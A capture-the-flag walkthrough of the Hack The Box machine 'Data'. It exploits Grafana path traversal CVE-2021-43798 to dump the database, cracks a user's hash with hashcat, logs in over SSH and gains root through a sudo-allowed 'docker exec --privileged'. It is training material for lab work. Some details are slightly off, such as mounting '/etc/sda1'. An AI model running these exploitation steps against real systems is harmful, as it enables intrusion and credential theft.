Post

Data Walkthrough - HTB Easy | Grafana CVE-2021-43798 & Docker Privilege Escalation

Complete walkthrough of Data from Hack The Box. An easy Linux machine running Grafana v8.0.0, vulnerable to the CVE-2021-43798 path traversal that allows dumping the internal SQLite database. Boris's Grafana hash is converted with grafana2hashcat, cracked, and reused to log in over SSH. A sudo-allowed docker exec command is then abused to enter a privileged container and mount the host filesystem to read the root flag.

Data Walkthrough - HTB Easy | Grafana CVE-2021-43798 & Docker Privilege Escalation

Overview

Data is an Easy Linux machine that involves exploiting CVE-2021-43798, an arbitrary file read via path traversal in Grafana. By exploiting this vulnerability, the database file for Grafana is extracted, and the hashes in the database are converted to a format readable by Hashcat. The hash is then cracked and can be used for SSH access to the target as user boris. The compromised user has the privileges to execute docker exec as root on the system, allowing the user to escalate and obtain root access by adding the privileged flag to running containers and mounting the host filesystem.


External Enumeration

Nmap

Let’s start with the nmap scan:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
ports=$(nmap -p- --min-rate=1000 -T4 data.htb 2>/dev/null | grep '^[0-9]' | cut -d '/' -f1 | paste -sd ',' -); nmap -vv -p"$ports" -sC -sV data.htb -oX data.xml  

<SNIP>  
  
PORT     STATE SERVICE REASON         VERSION  
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)  
| ssh-hostkey:    
|   2048 63470a81ad0f7807464b15524a4d1e39 (RSA)  
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzybAIIzY81HLoecDz49RqTD3AAysgQcxH3XoCwJreIo17nJDB1gdyHYQERGigDVgG9hz9uB4AzJc87WXGi7TUM0r16XTLwtEX7MoMgmsXKJX/EoZGQsb1zyFnwQR00xsX2mDvHpaDeUh3EtsL1zAgxLSgi/uym4nLwjTHqpTmm0shwDqlpOvKBbL7IcQ3vVKkmy  
7o7TG7HYMHiDYF+Aw5BKnOTuVoMgGy3gaFXJqyhszV/6BD9UQALdrtAXKO3bO4D6g5gM9N78Om7kwRvEW3NDwvk5w+gA6wDFpMAigccCaP/JuEPoeqgV3r6cL4PovbbZkxQScY+9SuOGb78EjR  
|   256 7da9acfa01e8dd09904048ecddf308be (ECDSA)  
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGUqvSE3W1c40BBItjgG3RCCbsMNpcqRV0DbxMh3qruh0nsNdNm9QuTflzkzqj0nxPoAmjUqq0SolF0UFHqtmEc=  
|   256 91332d1a81871a84d3b90b23233d194b (ED25519)  
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPDOwcGGuUmX8fQkvfAdnPuw9tMrPSs4nai8+KMFzpvf  
3000/tcp open  ppp?    syn-ack ttl 62  
| fingerprint-strings:    
|   FourOhFourRequest:    
|     HTTP/1.0 302 Found  
|     Cache-Control: no-cache  
|     Content-Type: text/html; charset=utf-8  
|     Expires: -1  
|     Location: /login  
|     Pragma: no-cache  
|     Set-Cookie: redirect_to=%2Fnice%2520ports%252C%2FTri%256Eity.txt%252ebak; Path=/; HttpOnly; SameSite=Lax  
|     X-Content-Type-Options: nosniff  
|     X-Frame-Options: deny  
|     X-Xss-Protection: 1; mode=block  
|     Date: Sat, 01 Aug 2026 14:57:51 GMT  
|     Content-Length: 29  
|     href="/login">Found</a>.  
|   GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:    
|     HTTP/1.1 400 Bad Request  
|     Content-Type: text/plain; charset=utf-8  
|     Connection: close  
|     Request  
|   GetRequest:    
|     HTTP/1.0 302 Found  
|     Cache-Control: no-cache  
|     Content-Type: text/html; charset=utf-8  
|     Expires: -1  
|     Location: /login  
|     Pragma: no-cache  
|     Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax  
|     X-Content-Type-Options: nosniff  
|     X-Frame-Options: deny  
|     X-Xss-Protection: 1; mode=block  
|     Date: Sat, 01 Aug 2026 14:57:17 GMT  
|     Content-Length: 29  
|     href="/login">Found</a>.  
|   HTTPOptions:    
|     HTTP/1.0 302 Found  
|     Cache-Control: no-cache  
|     Expires: -1  
|     Location: /login  
|     Pragma: no-cache  
|     Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax  
|     X-Content-Type-Options: nosniff  
|     X-Frame-Options: deny  
|     X-Xss-Protection: 1; mode=block  
|     Date: Sat, 01 Aug 2026 14:57:23 GMT  
|_    Content-Length: 0  

<SNIP>

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Key findings:

  • Port 22: SSH (OpenSSH 7.6p1)
  • Port 3000: fingerprinted as ppp?, but browsing to it reveals Grafana

Port 3000 is marked with a protocol named ppp, but if we then visit the page in the browser, it’s Grafana.

Grafana

From the Grafana login page we can see its version:

grafana login page

The version is v8.0.0 (41f0542c1e).


Initial Access

Exploit Research

Searching for exploits for this version, I find the vulnerability CVE-2021-43798. This vulnerability allows path traversal / arbitrary file read via /public/plugins/<plugin-id>/. We can use this repository on GitHub to extract Grafana’s database in order to obtain the users’ passwords.

After cloning the repository, we use this command to dump the DB:

1
go run exploit.go -target http://data.htb:3000 -dump-database -output grafana.db

SQLite Database Enumeration

We can open the DB with sqlite3 and read how the user table is structured, along with its contents.

sqlite3 grafana.db  

SQLite version 3.40.1 2022-12-28 14:03:47  
Enter ".help" for usage hints.  
sqlite> .schema user  
CREATE TABLE `user` (  
`id` INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL  
, `version` INTEGER NOT NULL  
, `login` TEXT NOT NULL  
, `email` TEXT NOT NULL  
, `name` TEXT NULL  
, `password` TEXT NULL  
, `salt` TEXT NULL  
, `rands` TEXT NULL  
, `company` TEXT NULL  
, `org_id` INTEGER NOT NULL  
, `is_admin` INTEGER NOT NULL  
, `email_verified` INTEGER NULL  
, `theme` TEXT NULL  
, `created` DATETIME NOT NULL  
, `updated` DATETIME NOT NULL  
, `help_flags1` INTEGER NOT NULL DEFAULT 0, `last_seen_at` DATETIME NULL, `is_disabled` INTEGER NOT NULL DEFAULT 0);  
CREATE UNIQUE INDEX `UQE_user_login` ON `user` (`login`);  
CREATE UNIQUE INDEX `UQE_user_email` ON `user` (`email`);  
CREATE INDEX `IDX_user_login_email` ON `user` (`login`,`email`);  
sqlite> select * from user;  
1|0|admin|admin@localhost||7a919e4bbe95cf5104edf354ee2e6234efac1ca1f81426844a24c4df6131322cf3723c92164b6172e9e73faf7a4c2072f8f8|YObSoLj55S|hLLY6QQ4Y6||1|1|0||2022-01-23 12:48:04|2022-01-23 12:48:50|0|2022-01-23 12:48:50|0  
2|0|boris|boris@data.vl|boris|dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8|LCBhdtJWjl|mYl941ma8w||1|0|0||2022-01-23 12:49:11|2022-01-23 12:49:11|0|2012-01-23 12:49:11|0

Cracking Boris’s Password

Let’s try to obtain boris’s password. If we copy and paste the hash into hashid, the hash won’t be identified.

1
2
3
4
5
hashid -m hash                                            
--File 'hash'--  
Analyzing '7a919e4bbe95cf5104edf354ee2e6234efac1ca1f81426844a24c4df6131322cf3723c92164b6172e9e73faf7a4c2072f8f8'  
[+] Unknown hash  
--End of file 'hash'--

To transform this hash, together with its salt, into a hash crackable by hashcat, we need to use the Grafana2Hashcat tool.

Hash Conversion and Cracking

As its hashing algorithm, Grafana uses PBKDF2_HMAC_SHA256, and stores the digests in hexadecimal with the salts in plaintext. This tool converts this hash and its salt into hashcat’s PBKDF2_HMAC_SHA256 format.

First of all we copy the hash and the salt without modifying them into a file:

1
2
cat hash  
dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8,LCBhdtJWjl

After that, we convert it into hashcat’s format.

1
python3 grafana2hashcat.py hash -o hash-hashcat

Finally, we run hashcat on the new file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[Aug 02, 2026 - 10:31:39 (CEST)] exegol-main data # hashcat -m 10900 hash-hashcat --wordlist /opt/lists/rockyou.txt  
hashcat (v6.2.6) starting  
  
OpenCL API (OpenCL 3.0 PoCL 3.1+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]  
==================================================================================================================================================  
* Device #1: pthread-haswell-AMD Ryzen 7 3700X 8-Core Processor, 14938/29941 MB (4096 MB allocatable), 16MCU  
  
<SNIP>
  
sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag=:beautiful1  
                                                            
Session..........: hashcat  
Status...........: Cracked  
Hash.Mode........: 10900 (PBKDF2-HMAC-SHA256)  
Hash.Target......: sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0...O1Hag=  
Time.Started.....: Sun Aug  2 10:44:55 2026 (0 secs)  
Time.Estimated...: Sun Aug  2 10:44:55 2026 (0 secs)  
<SNIP>
Started: Sun Aug  2 10:44:53 2026  
Stopped: Sun Aug  2 10:44:57 2026

The password for the boris account is beautiful1.

Credentials: boris:beautiful1

SSH as Boris

Now we can log in as boris to the target via SSH.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ssh boris@data.htb    

<SNIP> 
  
Last login: Wed Jun  4 13:37:31 2025 from 10.10.14.62  
boris@data:~$ ls -al  
total 36  
drwxr-xr-x 5 boris boris 4096 Jun  4  2025 .  
drwxr-xr-x 3 root  root  4096 Jun  4  2025 ..  
lrwxrwxrwx 1 boris boris    9 Jan 23  2022 .bash_history -> /dev/null  
-rw-r--r-- 1 boris boris  220 Jan 23  2022 .bash_logout  
-rw-r--r-- 1 boris boris 3771 Jan 23  2022 .bashrc  
drwx------ 2 boris boris 4096 Jan 23  2022 .cache  
drwx------ 3 boris boris 4096 Jan 23  2022 .gnupg  
drwxrwxr-x 3 boris boris 4096 Jan 23  2022 .local  
-rw-r--r-- 1 boris boris  807 Jan 23  2022 .profile  
-rw-r----- 1 boris boris   33 Aug  1 14:56 user.txt

User flag obtained.


Privilege Escalation

sudo -l

If we run sudo -l on the host (something you always do as soon as you get a shell) to see which binaries we can execute as sudo, we find a particularly interesting one.

1
2
3
4
5
6
sudo -l  
Matching Defaults entries for boris on localhost:  
   env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin  
  
User boris may run the following commands on localhost:  
   (root) NOPASSWD: /snap/bin/docker exec *

Let’s immediately look at the command’s help:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
docker exec -h  
Flag shorthand -h has been deprecated, please use --help  
  
Usage:  docker exec [OPTIONS] CONTAINER COMMAND [ARG...]  
  
Run a command in a running container  
  
Options:  
 -d, --detach               Detached mode: run command in the background  
     --detach-keys string   Override the key sequence for detaching a container  
 -e, --env list             Set environment variables  
     --env-file list        Read in a file of environment variables  
 -i, --interactive          Keep STDIN open even if not attached  
     --privileged           Give extended privileges to the command  
 -t, --tty                  Allocate a pseudo-TTY  
 -u, --user string          Username or UID (format: <name|uid>[:<group|gid>])  
 -w, --workdir string       Working directory inside the container

Let’s keep these flags in mind. We can run docker exec, but not docker ps to see which containers we can run against. Knowing that Grafana runs on the box, we can try to see if there’s a container named grafana.

1
2
3
sudo docker exec -it grafana /bin/bash  
bash-5.1$ ls  
LICENSE          NOTICE.md        README.md        VERSION          bin              conf             plugins-bundled  public           scripts

If we look at the output of the id command, we see that our uid is not root’s, and for this reason we can’t enter the root directory or run commands that could only be executed by root.

1
2
3
boris@data:/dev$ sudo /snap/bin/docker exec -it grafana bash  
bash-5.1$ id  
uid=472(grafana) gid=0(root) groups=0(root)

Mounting the Host Filesystem

To get the root flag, we can mount the host inside the container. To do this we need to enter the container with this command, using 2 additional flags compared to the previous one:

1
2
3
sudo /snap/bin/docker exec -u 0 --privileged -it grafana bash  
bash-5.1# id  
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

Let’s do the mount:

1
2
3
4
5
6
bash-5.1# mount /etc/sda1 /mnt

bash-5.1# cd /mnt  
bash-5.1# cd root  
bash-5.1# ls  
root.txt  snap

Root flag obtained. Box completed.


Reflections

Main Mistake

When I wrote the hash file with the hexadecimal hash and the salt, I inserted a space after the comma. This blocked me for about half an hour because I hadn’t noticed it!

Alternative Approaches

We could have used more recent exploits against the host, but this would have deviated from the box’s intended path.

Open Question

In this box we did privilege escalation with docker exec, but with how many other docker subcommands runnable as sudo can privilege escalation be achieved?


Completed this box? How many sudo-runnable docker subcommands can you think of that would lead to root? Leave a comment down below!

This post is licensed under CC BY 4.0 by the author.